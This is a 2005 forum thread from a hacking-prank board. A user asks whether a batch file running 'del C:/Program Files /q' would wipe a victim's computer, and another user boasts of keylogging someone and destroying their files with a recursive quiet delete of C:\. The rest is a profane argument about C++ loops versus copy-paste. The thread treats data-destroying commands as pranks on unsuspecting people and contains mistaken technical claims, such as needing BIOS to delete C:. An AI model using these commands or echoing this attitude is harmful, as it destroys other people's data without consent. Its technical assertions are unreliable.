Posted February 13, 200520 yr alright, so i used this guys idea from this thread http://forums.myg0t.com/showthread.php?t=10515 the part with the notepad typing del C:/ /q and saving it as a .bat file, well i knew that wouldn't work cause you can't delete C:/ while in windows, you have to do it in BIOS, so i was wondering if it would work if it were del C:/Program Files /q instead? i'm a noob at this ^^* feed back for this please
February 13, 200520 yr im guessing not entirely because some of the programs in that folder are being used and wont be deleted but im not willing to try it to see if its correct
February 13, 200520 yr http://forums.myg0t.com/showthread.php?t=9424 no one is gonna fall for a .bat file right click edit, oh wait this doesn't do what its suposed to do ... delete .... the end.
February 13, 200520 yr Author lol, man, i told this guy one time that rubbing a high powered magnet against his HD would make him hack and he did it.
February 13, 200520 yr actually u delete a majority of files...look at how i fuckedthis guy's comp up for the third time...first-keylog, second-C:\ /s /q, third-same thing but i took screenshots =) http://www.freewebs.com/francaispageweb/1_plan.jpg http://www.freewebs.com/francaispageweb/2_plan.jpg http://www.freewebs.com/francaispageweb/3_plan.jpg http://www.freewebs.com/francaispageweb/4_plan.jpg http://www.freewebs.com/francaispageweb/5_plan.jpg http://www.freewebs.com/francaispageweb/6_plan.jpg http://www.freewebs.com/francaispageweb/7_plan.jpg [EDIT]the urls seems to link back to myg0t forums...copy n paste in a new browser or w/e tat u wanna do.. PS:Ignore my program...i was gonna use it if he didnt remote assistance me
February 14, 200520 yr a loop is mostly used when the section of code is VERY VERY LARGE! for example A GAME!!! its much more simple to just copy and paste it twice then to write a whole loop for it....try n use some common sense first
February 15, 200520 yr Yea, it's much more simple to do: cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000); Than it is to do: for(int i = 0; i < 10; i++) { cout<<"."; Sleep(1000); }
February 15, 200520 yr Yea, it's much more simple to do: cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000);cout<<"."; sleep(1000); Than it is to do: for(int i = 0; i < 10; i++) { cout<<"."; Sleep(1000); } Lol, pooned !
February 15, 200520 yr so im guessing ur more of a noob since u dont know how to copy n paste? 1:highlight 2:Ctrl + C 3:Ctrl + V took me 3 seconds to do tat part...as of doing a loop it would take me atleast 10 seconds
February 15, 200520 yr well we know u like ur spare time.. and need those 7 extra seconds for jerking off.. but making a loop would cause the program to be, well quite smaller.. wich benefits everybody. (it costs u less hdspace, it costs the person that wants to use it less hdspace, it takes u less time and bandwith to send it to the person that wants to use it).
February 15, 200520 yr r00tdem0n']http://forums.myg0t.com/showthread.php?t=9424 no one is gonna fall for a .bat file right click edit, oh wait this doesn't do what its suposed to do ... delete .... the end. Seems like someone think that people are smarter than they really are.
February 15, 200520 yr well we know u like ur spare time.. and need those 7 extra seconds for jerking off.. but making a loop would cause the program to be, well quite smaller.. wich benefits everybody. (it costs u less hdspace, it costs the person that wants to use it less hdspace, it takes u less time and bandwith to send it to the person that wants to use it). i dont jack off.....n btw the program is so small...it wouldnt make tat much of a difference if i used a loop or w/e......if i post a huge ass program and not loop where the blocks of codes are large...then u can call me a noob [EDIT]it costs u less hdspace, it costs the person that wants to use it less hdspace... y the hell would i care....his comp is gettin erased...
February 16, 200520 yr so im guessing ur more of a noob since u dont know how to copy n paste? 1:highlight 2:Ctrl + C 3:Ctrl + V took me 3 seconds to do tat part...as of doing a loop it would take me atleast 10 seconds You're not in a position to be calling ANYONE a noob. How many times have you begged for help with n00b stuff on here? Too many times. You're pathetic, un-install any compiler you have and get back to being l33t in MS Office, noob.
February 16, 200520 yr Just so you know, loops are designed to execute the same code while a condition stays true. Loops make your code simple and easier to maintain. Take for example a simple program that outputs an array: const int SIZE = 10; int a[size] = { }; for (int i = 0; i != SIZE; ++i) { cout << a[i] << endl; } Now say variable a needs to expand to 100 or 1000 ints, copying and pasting the cout statement that many times is tedious at best and error prone. Yeah, your code may be simple, but its not long term, or very readable. Keep in mind your writing code for programmers, not the machine (The machine could careless if you put an extra space here or there). Not to mention that very reason we write in high level languages, and write programs is to speed up work, and writing code in a unmanagable way goes against that principle.
February 16, 200520 yr Don't waste yourself explaining anything to him. He can't even get the most basic programs to compile. :rofl: I'm surprised spr0rk hasn't banned him for cutting the average poster intelligenge of this section in half.
February 16, 200520 yr Just so you know, loops are designed to execute the same code while a condition stays true. Loops make your code simple and easier to maintain. Take for example a simple program that outputs an array: const int SIZE = 10; int a[size] = { }; for (int i = 0; i != SIZE; ++i) { cout << a[i] << endl; } Now say variable a needs to expand to 100 or 1000 ints, copying and pasting the cout statement that many times is tedious at best and error prone. Yeah, your code may be simple, but its not long term, or very readable. Keep in mind your writing code for programmers, not the machine (The machine could careless if you put an extra space here or there). Not to mention that very reason we write in high level languages, and write programs is to speed up work, and writing code in a unmanagable way goes against that principle. yea i know u have to loop but then i just typed like wat? 21 letters then i copied n pasted so i dont see y i would require a loop instead of just simple copy/paste... n asterix...fuck off biatch...y dont u use ur mouth on helping someone if ur so good
